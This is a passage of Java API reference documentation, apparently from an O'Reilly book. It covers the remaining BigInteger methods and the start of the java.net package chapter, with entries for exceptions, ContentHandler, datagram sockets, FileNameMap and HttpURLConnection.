Parameters

val

The number to be combined with this BigInteger.

Returns

A new BigInteger that contains the bitwise AND of this number and the bitwise negation of the given value.

Description

This method returns the bitwise AND of this BigInteger and the bitwise negation of the given BigInteger as a new BigInteger. Calling this method is equivalent to calling and(val.not()).

bitCount

public int bitCount()

Returns

The number of bits that differ from this BigInteger's sign bit.

Description

This method returns the number of bits in the two's complement representation of this BigInteger that differ from the sign bit of this BigInteger.

bitLength

public int bitLength()

Returns

The number of bits needed to represent this number, excluding a sign bit.

Description

This method returns the minimum number of bits needed to represent this number, not counting a sign bit.

clearBit

public BigInteger clearBit(int n) throws ArithmeticException

Parameters

n

The bit to clear.

Returns

A new BigInteger that contains the value of this BigInteger with the given bit cleared.

Throws

ArithmeticException

If n is less than 0.

Description

This method returns a new BigInteger that is equal to this BigInteger, except that the given bit is cleared, or set to zero.

compareTo

public int compareTo(BigInteger val)

Parameters

val

The value to be compared.

Returns

-1 if this number is less than val, 0 if this number is equal to val, or 1 if this number is greater than val.

Description

This method compares this BigInteger to the given BigInteger and returns a value that indicates the result of the comparison. This method can be used to implement all six of the standard boolean comparison operators: ==, !=, <=, <, >=, and >.

divide

public BigInteger divide(BigInteger val) throws ArithmeticException

Parameters

val

The divisor.

Returns

A new BigInteger that contains the result (quotient) of dividing this number by the given value.

Throws

ArithmeticException

If val is zero.

Description

This method returns the quotient that results from dividing this BigInteger by the given BigInteger as a new BigInteger. Any fractional remainder is discarded.

divideAndRemainder

 public BigInteger[] divideAndRemainder(BigInteger val) throws ArithmeticException

Parameters

val

The divisor.

Returns

An array of BigInteger objects that contains the quotient and remainder (in that order) that result from dividing this number by the given value.

Throws

ArithmeticException

If val is zero.

Description

This method returns the quotient and remainder that results from dividing this BigInteger by the given BigInteger as an array of new BigInteger objects. The first element of the array is equal to divide(val); the second element is equal to remainder(val).

doubleValue

public double doubleValue()

Returns

The value of this BigInteger as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this BigInteger as a double. If the value exceeds the limits of a double, Double.POSITIVE_INFINITY or Double.NEGATIVE_INFINITY is returned.

equals

public boolean equals(Object x)

Parameters

x

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if x is an instance of BigInteger, and it represents the same value as this BigInteger.

flipBit

public BigInteger flipBit(int n)

Parameters

n

The bit to toggle.

Returns

A new BigInteger that contains the value of this BigInteger with the given bit toggled.

Throws

ArithmeticException

If n is less than 0.

Description

This method returns a new BigInteger that is equal to this BigInteger, except that the given bit is toggled. In other words, if the given bit is 0, it is set to one, or if it is 1, it is set to zero.

floatValue

public float floatValue()

Returns

The value of this BigInteger as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this BigInteger as a float. If the value exceeds the limits of a float, Float.POSITIVE_INFINITY or Float.NEGATIVE_INFINITY is returned.

gcd

public BigInteger gcd(BigInteger val)

Parameters

val

The number to be compared.

Returns

A new BigInteger that contains the greatest common denominator of this number and the given number.

Description

This method calculates the greatest common denominator of the absolute value of this BigInteger and the absolute value of the given BigInteger, and returns it as a new BigInteger. If both values are 0, the method returns a BigInteger that contains the value 0.

getLowestSetBit

public int getLowestSetBit()

Returns

The index of the lowest-order bit with a value of 1, or -1 if there are no bits that are 1.

Description

This method returns the index of the lowest-order, or rightmost, bit with a value of 1.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this BigInteger.

intValue

public int intValue()

Returns

The value of this BigInteger as an int.

Overrides

Number.intValue()

Description

This method returns the value of this BigInteger as an int. If the value exceeds the limits of an int, the excessive high-order bits are discarded.

isProbablePrime

public boolean isProbablePrime(int certainty)

Parameters

certainty

The "certainty" that this number is prime, where a higher value indicates more certainty.

Returns

true if this number is probably prime; false if it is definitely not prime.

Description

This method returns true if this number has a probability of being prime that is greater than 1-.5^certainty. If the number is definitely not prime, false is returned.

longValue

public long longValue()

Returns

The value of this BigInteger as a long.

Overrides

Number.longValue()

Description

This method returns the value of this BigInteger as a long. If the value exceeds the limits of a long, the excessive high-order bits are discarded.

max

public BigInteger max(BigInteger val)

Parameters

val

The number to be compared.

Returns

The BigInteger that represents the greater of this number and the given value.

Description

This method returns the greater of this BigInteger and the given BigInteger.

min

public BigInteger min(BigInteger val)

Parameters

val

The number to be compared.

Returns

The BigInteger that represents the lesser of this number and the given value.

Description

This method returns the lesser of this BigInteger and the given BigInteger.

mod

public BigInteger mod(BigInteger m)

Parameters

m

The number to use.

Returns

A new BigInteger that contains the modulus of this number and the given number.

Throws

ArithmeticException

If m is less than or equal to zero.

Description

This method returns a new BigInteger that contains the value of this BigInteger mod m.

modInverse

 public BigInteger modInverse(BigInteger m) throws ArithmeticException

Parameters

m

The number to use.

Returns

A new BigInteger that contains the multiplicative inverse of the modulus of this number and the given number.

Throws

ArithmeticException

If m is less than or equal to zero, or if the result cannot be calculated.

Description

This method returns a new BigInteger that contains the multiplicative inverse of the value of this BigInteger mod m.

modPow

public BigInteger modInverse(BigInteger exponent, BigInteger m)

Parameters

exponent

The exponent.

m

The number to use.

Returns

A new BigInteger that contains the modulus of this number raised to the given power and the given number.

Throws

ArithmeticException

If m is less than or equal to zero.

Description

This method returns a new BigInteger that contains the value of this BigInteger raised to the given power mod m.

multiply

public BigInteger multiply(BigInteger val)

Parameters

val

The number to be multiplied.

Returns

A new BigInteger that contains the product of this number and the given number.

Description

This method multiplies this BigInteger by the given BigInteger and returns the product as a new BigInteger.

negate

public BigInteger negate()

Returns

A new BigInteger that contains the negative of this number.

Description

This method returns a new BigInteger that is identical to this BigInteger except that its sign is reversed.

not

public BigInteger not()

Returns

A new BigInteger that contains the bitwise negation of this number.

Description

This method returns a new BigInteger that is calculated by inverting every bit of this BigInteger.

or

public BigInteger or(BigInteger val)

Parameters

val

The value to be ORed.

Returns

A new BigInteger that contains the bitwise OR of this number and the given value.

Description

This method returns the bitwise OR of this BigInteger and the given BigInteger as a new BigInteger.

pow

public BigInteger pow(int exponent) throws ArithmeticException

Parameters

exponent

The exponent.

Returns

A new BigInteger that contains the result of raising this number to the given power.

Throws

ArithmeticException

If exponent is less than zero.

Description

This method raises this BigInteger to the given power and returns the result as a new BigInteger.

remainder

 public BigInteger remainder(BigInteger val) throws ArithmeticException

Parameters

val

The divisor.

Returns

A new BigInteger that contains the remainder that results from dividing this number by the given value.

Throws

ArithmeticException

If val is zero.

Description

This method returns the remainder that results from dividing this BigInteger by the given BigInteger as a new BigInteger.

setBit

public BigInteger setBit(int n) throws ArithmeticException

Parameters

n

The bit to set.

Returns

A new BigInteger that contains the value of this BigInteger with the given bit set.

Throws

ArithmeticException

If n is less than zero.

Description

This method returns a new BigInteger that is equal to this BigInteger, except that the given bit is set to 1.

shiftLeft

public BigInteger shiftLeft(int n)

Parameters

n

The number of bits to shift.

Returns

A new BigInteger that contains the result of shifting the bits of this number left by the given number of bits.

Description

This method returns a new BigInteger that contains the value of this BigInteger left-shifted by the given number of bits.

shiftRight

public BigInteger shiftRight(int n)

Parameters

n

The number of bits to shift.

Returns

A new BigInteger that contains the result of shifting the bits of this number right by the given number of bits with sign extension.

Description

This method returns a new BigInteger that contains the value of this BigInteger right-shifted by the given number of bits with sign extension.

signum

public int signum()

Returns

-1 is this number is negative, 0 if this number is zero, or 1 if this number is positive.

Description

This method returns a value that indicates the sign of this BigInteger.

subtract

public BigInteger subtract(BigInteger val)

Parameters

val

The number to be subtracted.

Returns

A new BigDecimal that contains the result of subtracting the given number from this number.

Description

This method subtracts the given BigInteger from this BigInteger and returns the result as a new BigInteger.

testBit

public boolean testBit(int n) throws ArithmeticException

Parameters

n

The bit to test.

Returns

true if the specified bit is 1; false if the specified bit is 0.

Throws

ArithmeticException

If n is less than zero.

Description

This method returns true if the specified bit in this BigInteger is 1. Otherwise the method returns false.

toByteArray

public byte[] toByteArray()

Returns

An array of bytes that represents this object.

Description

This method returns an array of bytes that contains the two's complement representation of this BigInteger. The most significant byte is in the first position (val[0]) of the array. The array can be used with the BigInteger(byte[]) constructor to reconstruct the number.

toString

public String toString()

Returns

A string representation of this object in decimal form.

Overrides

Object.toString()

Description

This method returns a string representation of this BigInteger in decimal form. A minus sign represents the sign if necessary. The mapping from digits to characters is provided by the Character.forDigit() method.

public String toString(int radix)

Parameters

radix

The radix to use.

Returns

A string representation of this object in the given radix.

Overrides

Object.toString()

Description

This method returns a string representation of this BigInteger for the given radix. A minus sign is used to represent the sign if necessary. The mapping from digits to characters is provided by the Character.forDigit() method.

xor

public BigInteger xor(BigInteger val)

Parameters

val

The value to be XORed.

Returns

A new BigInteger that contains the bitwise XOR of this number and the given value.

Description

This method returns the bitwise XOR of this BigInteger and the given BigInteger as a new BigInteger.

Inherited Methods

Method | Inherited From | Method | Inherited From
byteValue() | Number | clone() | Object
getClass() | Object | finalize() | Object
notify() | Object | notifyAll() | Object
shortValue() | Number | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

ArithmeticException, BigDecimal, Character, Double, Float, IllegalArgumentException, Integer, Long, Number, NumberFormatException

Previous | Home | Next
BigDecimal | Book Index | BindException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] The java.net Package

Java Fundamental Classes Reference

Previous Chapter 15 Next

15. The java.net Package

Contents:
ConnectException
ContentHandler
ContentHandlerFactory
DatagramPacket
DatagramSocket
DatagramSocketImpl
FileNameMap
HttpURLConnection
InetAddress
MalformedURLException
MulticastSocket
NoRouteToHostException
ProtocolException
ServerSocket
Socket
SocketException
SocketImpl
SocketImplFactory
URL
URLConnection
URLEncoder
URLStreamHandler
URLStreamHandlerFactory
UnknownHostException
UnknownServiceException

The package java.net contains classes and interfaces that provide a powerful infrastructure for networking in Java. These include:

  • The URL class for basic access to Uniform Resource Locators (URLs).

  • The URLConnection class, which supports more complex operations on URLs.

  • The Socket class for connecting to particular ports on specific Internet hosts and reading and writing data using streams.

  • The ServerSocket class for implementing servers that accept connections from clients.

  • The DatagramSocket, MulticastSocket, and DatagramPacket classes for implementing low-level networking.

  • The InetAddress class, which represents Internet addresses.

Figure 15.1 shows the class hierarchy for the java.net package.

Figure 15.1: The java.net package

[Graphic: Figure 15-1]

BindException

Name

BindException

Synopsis

Class Name:

java.net.BindException

Superclass:

java.net.SocketException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A BindException is thrown when a socket cannot be bound to a local address and port, which can occur if the port is already in use or the address is unavailable.

Class Summary

public class java.net.BindException extends java.net.SocketException {
  // Constructors
  public BindException();
  public BindException(String msg);
}

Constructors

BindException

public BindException()

Description

This constructor creates a BindException with no associated detail message.

public BindException(String msg)

Parameters

msg

The detail message.

Description

This constructor creates a BindException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, RuntimeException, SocketException

Previous | Home | Next
UnknownServiceException | Book Index | ConnectException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] ConnectException

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

ConnectException

Name

ConnectException

Synopsis

Class Name:

java.net.ConnectException

Superclass:

java.net.SocketException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A ConnectException is thrown when a socket connection cannot be established with a remote machine. This type of exception usually indicates that there is no listening process on the remote machine.

Class Summary

public class java.net.ConnectException extends java.net.SocketException {
  // Constructors
  public ConnectException();
  public ConnectException(String msg);
}

Constructors

ConnectException

public ConnectException()

Description

This constructor creates a ConnectException with no associated detail message.

public ConnectException(String msg)

Parameters

msg

The detail message.

Description

This constructor create a ConnectException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, SocketException

Previous | Home | Next
BindException | Book Index | ContentHandler
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] ContentHandler

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

ContentHandler

Name

ContentHandler

Synopsis

Class Name:

java.net.ContentHandler

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The ContentHandler class is an abstract class that defines a method to read data from a URLConnection and then create an Object appropriate for the type of content it has read. Each subclass of ContentHandler handles a specific type of content (i.e., MIME type).

You do not create ContentHandler objects directly; they are created by an object that implements the ContentHandlerFactory interface. A ContentHandlerFactory object selects and creates an appropriate ContentHandler for the content type. If you write your own ContentHandler subclasses, you should also write your own ContentHandlerFactory. The content handler factory for an application is set by a call to URLConnection.setContentHandlerFactory().

An application does not normally call the getContent() method of a ContentHandler directly; it should call URL.getContent() or URLConnection.getContent() instead.

A ContentHandler works in conjunction with a URLStreamHandler, but their roles do not overlap. The URLStreamHandler deals with the specifics of a protocol, such as negotiating with a server to retrieve a resource, while the ContentHandler expects a data stream from which it can construct an object.

Class Summary

public abstract class java.net.ContentHandler extends java.lang.Object {
  // Instance Methods
  public abstract Object getContent(URLConnection urlc) throws IOException;
}

Instance Methods

getContent

 public abstract Object getContent(URLConnection urlc) throws IOException

Parameters

urlc

A URLConnection that is the data source.

Returns

The Object created from the data source.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads data from the given URLConnection and returns the object that is represented by the data.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
int hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ContentHandlerFactory, IOException, URL, URLConnection, URLStreamHandler

Previous | Home | Next
ConnectException | Book Index | ContentHandlerFactory
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] ContentHandlerFactory

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

ContentHandlerFactory

Name

ContentHandlerFactory

Synopsis

Interface Name:

java.net.ContentHandlerFactory

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

None

Availability:

JDK 1.0 or later

Description

The ContentHandlerFactory interface defines a method that creates and returns an appropriate ContentHandler object for a given MIME type. The interface is implemented by classes that select ContentHandler subclasses to process content.

The URLStreamHandler class uses a ContentHandlerFactory to create ContentHandler objects. The content type is usually implied by the portion of the URL following the last period. For example, given the following URL:

http://www.tolstoi.org/anna.html

the MIME content type is text/html. A ContentHandlerFactory that recognizes text/html returns a ContentHandler object that can process that kind of content.

Interface Declaration

public abstract interface java.net.ContentHandlerFactory {
  // Methods
  public abstract ContentHandler createContentHandler(String mimetype);
}

Methods

createContentHandler

 public abstract ContentHandler createContentHandler( String mimetype)

Parameters

mimetype

A String that represents a MIME type.

Returns

A ContentHandler object that can read the specified type of content.

Description

This method creates an object of the appropriate subclass of ContentHandler that can read and process data for the given MIME type.

See Also

ContentHandler, URLStreamHandler

Previous | Home | Next
ContentHandler | Book Index | DatagramPacket
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] DatagramPacket

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

DatagramPacket

Name

DatagramPacket

Synopsis

Class Name:

java.net.DatagramPacket

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The DatagramPacket class represents a packet of data that can be sent and received over the network using a DatagramSocket. The class is used to implement connectionless data communication.

Class Summary

public final class java.net.DatagramPacket extends java.lang.Object {
  // Constructors
  public DatagramPacket(byte[] ibuf, int ilength);
  public DatagramPacket(byte[] ibuf, int ilength,
                        InetAddress iaddr, int iport);
  // Instance Methods
  public synchronized InetAddress getAddress();
  public synchronized byte[] getData();
  public synchronized int getLength();
  public synchronized int getPort();
  public synchronized void setAddress(InetAddress iaddr);   // New in 1.1
  public synchronized void setData(byte[] ibuf);            // New in 1.1
  public synchronized void setLength(int ilength);          // New in 1.1
  public synchronized void setPort(int iport);              // New in 1.1
}

Constructors

DatagramPacket

public DatagramPacket(byte ibuf[], int ilength)

Parameters

ibuf

The data buffer for receiving incoming bytes.

ilength

The number of bytes to read.

Description

This constructor creates a DatagramPacket that receives data. The value of ilength must be less than or equal to ibuf.length. This DatagramPacket can be passed to DatagramSocket.receive().

 public DatagramPacket(byte ibuf[], int ilength, InetAddress iaddr, int iport)

Parameters

ibuf

The data buffer for the packet.

ilength

The number of bytes to send.

iaddr

The destination address.

iport

The destination port number.

Description

This constructor creates a DatagramPacket that sends packets of length ilength to the given port of the specified address. The value of ilength must be less than or equal to ibuf.length. The packets are sent using DatagramSocket.send().

Instance Methods

getAddress

public synchronized InetAddress getAddress()

Returns

The IP address of the packet.

Description

If this packet has been received, the method returns the address of the machine that sent it. If the packet is being sent, the method returns the destination address.

getData

public synchronized byte[] getData()

Returns

The packet data.

Description

This method returns the data buffer associated with this DatagramPacket object. This data is either the data being sent or the data that has been received.

getLength

public synchronized int getLength()

Returns

The packet length.

Description

This method returns the length of the message in the buffer associated with this DatagramPacket. This length is either the length of the data being sent or the length of the data that has been received.

getPort

public synchronized int getPort()

Returns

The port number of the packet.

Description

If this packet has been received, the method returns the port number of the machine that sent it. If the packet is being sent, the method returns the destination port number.

setAddress

public synchronized void setAddress(InetAddress iaddr)

Availability

New as of JDK 1.1

Parameters

iaddr

The destination address for the packet.

Description

This method sets the destination address for this packet. When the packet is sent using DatagramSocket.send(), it is sent to the specified address.

setData

public synchronized void setData(byte[] ibuf)

Availability

New as of JDK 1.1

Parameters

ibuf

The data buffer for the packet.

Description

This method sets the data for this packet. When the packet is sent using DatagramSocket.send(), the specified data is sent.

setLength

public synchronized void setLength(int ilength)

Availability

New as of JDK 1.1

Parameters

ilength

The number of bytes to send.

Description

This method sets the length of the data to be sent for this packet. When the packet is sent using DatagramSocket.send(), the specified amount of data is sent.

setPort

public synchronized void setPort(int iport)

Availability

New as of JDK 1.1

Parameters

iport

The port number for the packet.

Description

This method sets the destination port number for this packet. When the packet is sent using DatagramSocket.send(), it is sent to the specified port.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

DatagramSocket, InetAddress

Previous | Home | Next
ContentHandlerFactory | Book Index | DatagramSocket
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] DatagramSocket

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

DatagramSocket

Name

DatagramSocket

Synopsis

Class Name:

java.net.DatagramSocket

Superclass:

java.lang.Object

Immediate Subclasses:

java.net.MulticastSocket

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The DatagramSocket class implements packet-oriented, connectionless data communication. In Internet parlance, this is the User Datagram Protocol, commonly known as UDP (see RFC 768). Each packet wanders through the network, routed by its destination address. Different packets can take different paths through the network and may arrive in a different order than they were sent. Furthermore, packets are not even guaranteed to reach their destination. It is up to an application that uses DatagramSocket to determine if data is out of order or missing. While these features may seem like disadvantages of DatagramSocket, there is also some advantage to using this class. Primarily, communication using DatagramSocket is faster than Socket stream communication because of the lack of overhead involved.

Class Summary

public class java.net.DatagramSocket extends java.lang.Object {
  // Constructors
  public DatagramSocket();
  public DatagramSocket(int port);
  public DatagramSocket(int port, InetAddress laddr);     // New in 1.1
  // Instance Methods
  public void close();
  public InetAddress getLocalAddress();                   // New in 1.1
  public int getLocalPort();
  public synchronized int getSoTimeout();                 // New in 1.1
  public synchronized void receive(DatagramPacket p);
  public void send(DatagramPacket p);
  public synchronized void setSoTimeout(int timeout);     // New in 1.1
}

Constructors

DatagramSocket

public DatagramSocket() throws SocketException

Throws

SocketException

If any kind of socket error occurs.

SecurityException

If the application is not allowed to listen on the port.

Description

This constructor creates a DatagramSocket that is bound to any available port on the local host machine.

public DatagramSocket(int port) throws SocketException

Parameters

port

A port number.

Throws

SocketException

If any kind of socket error occurs.

SecurityException

If the application is not allowed to listen on the given port.

Description

This constructor creates a DatagramSocket that is bound to the given port on the local host machine.

 public DatagramSocket(int port, InetAddress laddr) throws SocketException

Availability

New as of JDK 1.1

Parameters

port

A port number.

laddr

A local address.

Throws

SocketException

If any kind of socket error occurs.

SecurityException

If the application is not allowed to listen on the given port on the specified host.

Description

This constructor creates a DatagramSocket that is bound to the given port on the specified local host machine.

Instance Methods

close

public void close()

Description

This method closes the socket, releasing any system resources it holds.

getLocalAddress

public InetAddress getLocalAddress()

Availability

New as of JDK 1.1

Returns

The local address of the socket.

Throws

SecurityException

If the application is not allowed to retrieve the address.

Description

This method returns the local address to which this DatagramSocket is bound.

getLocalPort

public int getLocalPort()

Returns

The port number of the socket.

Description

This method returns the local port to which this DatagramSocket is bound.

getSoTimeout

public synchronized int getSoTimeout() throws SocketException

Availability

New as of JDK 1.1

Returns

The receive time-out value for the socket.

Throws

SocketException

If any kind of socket error occurs.

Description

This method returns the receive time-out value for this socket. A value of zero indicates that the socket waits indefinitely for an incoming packet, while a non-zero value indicates the number of milliseconds it waits.

receive

 public synchronized void receive(DatagramPacket p) throws IOException

Parameters

p

The DatagramPacket that receives incoming data.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to receive data from the packet's source.

InterruptedIOException

If a packet does not arrive before the time-out period expires.

Description

This method receives a datagram packet on this socket. After this method returns, the given DatagramPacket contains the packet's data and length, and the sender's address and port number. If the data that was sent is longer that the given packet's data buffer, the data is truncated.

If a time-out value is specified using the setSoTimeout() method, the method either returns with the received packet or times out, throwing an InterruptedIOException. If no time-out value is specified, the method blocks until it receives a packet.

send

public void send(DatagramPacket p) throws IOException

Parameters

p

The DatagramPacket to be sent.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to send data to the packet's destination.

Description

This method sends a packet from this socket. The packet data, packet length, destination address, and destination port number are specified by the given DatagramPacket.

setSoTimeout

 public synchronized void setSoTimeout(int timeout) throws SocketException

Availability

New as of JDK 1.1

Parameters

timeout

The new time-out value, in milliseconds, for this socket.

Throws

SocketException

If any kind of socket error occurs.

Description

This method is used to set the time-out value that is used for receive(). A non-zero value specifies the length of time, in milliseconds, that the DatagramSocket should wait for an incoming packet. A value of zero indicates that the DatagramSocket should wait indefinitely for an incoming packet. If a time-out value is needed, this method must be called before receive().

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

DatagramPacket, DatagramSocketImpl, InetAddress, InterruptedIOException, IOException, MulticastSocket, SecurityException, Socket, SocketException

Previous | Home | Next
DatagramPacket | Book Index | DatagramSocketImpl
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] DatagramSocketImpl

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

DatagramSocketImpl

Name

DatagramSocketImpl

Synopsis

Class Name:

java.net.DatagramSocketImpl

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The DatagramSocketImpl class is an abstract class that defines the bulk of the methods that make the DatagramSocket and MulticastSocket classes work. Non-public subclasses of DatagramSocketImpl provide platform-specific implementations of datagram socket communication.

Class Summary

public abstract class java.net.DatagramSocketImpl
                      extends java.lang.Object {
  // Variables
  protected FileDescriptor fd;
  protected int localPort;
  // Protected Instance Methods
  protected abstract void bind(int lport, InetAddress laddr);
  protected abstract void close();
  protected abstract void create();
  protected FileDescriptor getFileDescriptor();
  protected int getLocalPort();
  protected abstract byte getTTL();
  protected abstract void join(InetAddress inetaddr);
  protected abstract void leave(InetAddress inetaddr);
  protected abstract int peek(InetAddress i);
  protected abstract void receive(DatagramPacket p);
  protected abstract void send(DatagramPacket p);
  protected abstract void setTTL(byte ttl);
}

Variables

fd

protected FileDescriptor fd

Description

The file descriptor that represents this socket.

localPort

protected int localPort

Description

The local port number of this socket.

Protected Instance Methods

bind

 protected abstract void bind(int lport, InetAddress laddr) throws SocketException

Parameters

lport

A port number.

laddr

A local address.

Throws

SocketException

If any kind of socket error occurs.

Description

This method binds the socket to the given address and port. If the address or the port is unavailable, an exception is thrown.

close

protected void close()

Description

This method closes the socket, releasing any system resources it holds.

create

protected abstract void create() throws SocketException

Throws

SocketException

If a socket error occurs.

Description

This method creates a socket that is not bound to an address and port.

getFileDescriptor

protected FileDescriptor getFileDescriptor()

Returns

The file descriptor for this socket.

Description

This method returns the file descriptor associated with this DatagramSocketImpl.

getLocalPort

protected int getLocalPort()

Returns

The port number for this socket.

Description

This method returns the local port to which this DatagramSocketImpl is bound.

getTTL

protected abstract byte getTTL() throws IOException

Returns

The time-to-live (TTL) value for this socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the TTL value for this socket. This value is the number of hops that an outgoing packet can traverse before it is discarded.

join

 protected abstract void join(InetAddress inetaddr) throws IOException

Parameters

inetaddr

The IP address of the group to join.

Throws

IOException

If any kind of I/O error occurs.

Description

This method is used by MulticastSocket to join a multicast group. An exception is thrown if the given address is not a multicast address. While the socket is part of a group, it receives all packets that are sent to the group.

leave

 protected abstract void leave(InetAddress inetaddr) throws IOException

Parameters

inetaddr

The IP address of the group to leave.

Throws

IOException

If any kind of I/O error occurs.

Description

This method is used by MulticastSocket to leave a multicast group. An exception is thrown if the given address is not a multicast address.

peek

protected abstract int peek(InetAddress i) throws IOException

Parameters

i

A reference to an InetAddress object.

Returns

The port number of the next incoming packet.

Throws

IOException

If any kind of I/O error occurs.

Description

This method places the address of the next incoming packet in the given InetAddress object. The method also returns the port number of the next incoming packet. The method looks at the address of an incoming packet to determine if it should be accepted.

receive

 protected abstract void receive(DatagramPacket p) throws IOException

Parameters

p

The DatagramPacket that receives incoming data.

Throws

IOException

If any kind of I/O error occurs.

Description

This method receives a datagram packet on this socket. After this method returns, the given DatagramPacket contains the packet's data and length, and the sender's address and port number. If the data that was sent is longer that the given packet's data buffer, the data is truncated.

send

protected abstract void send(DatagramPacket p) throws IOException

Parameters

p

The DatagramPacket to be sent.

Throws

IOException

If any kind of I/O error occurs.

Description

This method sends a packet from this socket. The packet data, packet length, destination address, and destination port number are specified by the given DatagramPacket.

setTTL

protected abstract void setTTL(byte ttl) throws IOException

Parameters

ttl

The new TTL value for this socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method is used to set the TTL value of the socket. The TTL value is the number of hops that an outgoing packet can traverse before it is discarded.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

DatagramPacket, DatagramSocket, FileDescriptor, InetAddress, IOException, MulticastSocket

Previous | Home | Next
DatagramSocket | Book Index | FileNameMap
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] FileNameMap

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

FileNameMap

Name

FileNameMap

Synopsis

Interface Name:

java.net.FileNameMap

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

None

Availability:

New as of JDK 1.1

Description

The FileNameMap interface defines a method that maps filenames to MIME types. The interface is implemented by classes that provide this mapping. The mapping is typically done by examining the file extension of the filename, or in other words, the part of the filename that follows the final period.

Interface Declaration

public abstract interface java.net.FileNameMap {
  // Methods
  public abstract String getContentTypeFor(String fileName);
}

Methods

getContentTypeFor

public abstract String getContentTypeFor(String fileName)

Parameters

fileName

A String that contains a filename.

Returns

The String that contains the MIME type that corresponds to the filename.

Description

This method attempts to determine the MIME type of a file by examining its filename.

See Also

ContentHandler, ContentHandlerFactory

Previous | Home | Next
DatagramSocketImpl | Book Index | HttpURLConnection
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] HttpURLConnection

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

HttpURLConnection

Name

HttpURLConnection

Synopsis

Class Name:

java.net.HttpURLConnection

Superclass:

java.net.URLConnection

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The HttpURLConnection class is an abstract class that is a subclass of URLConnection. HttpURLConnection defines many of the HTTP server response codes as constants and provides methods for parsing server responses.

An HttpURLConnection object defines a network connection to a resource specified by a URL. Essentially, the HttpURLConnection object represents the HTTP request for that resource.

Class Summary

public abstract class java.net.HttpURLConnection
                      extends java.net.URLConnection {
  // Constants
  public final static int HTTP_ACCEPTED;
  public final static int HTTP_BAD_GATEWAY;
  public final static int HTTP_BAD_METHOD;
  public final static int HTTP_BAD_REQUEST;
  public final static int HTTP_CLIENT_TIMEOUT;
  public final static int HTTP_CONFLICT;
  public final static int HTTP_CREATED;
  public final static int HTTP_ENTITY_TOO_LARGE;
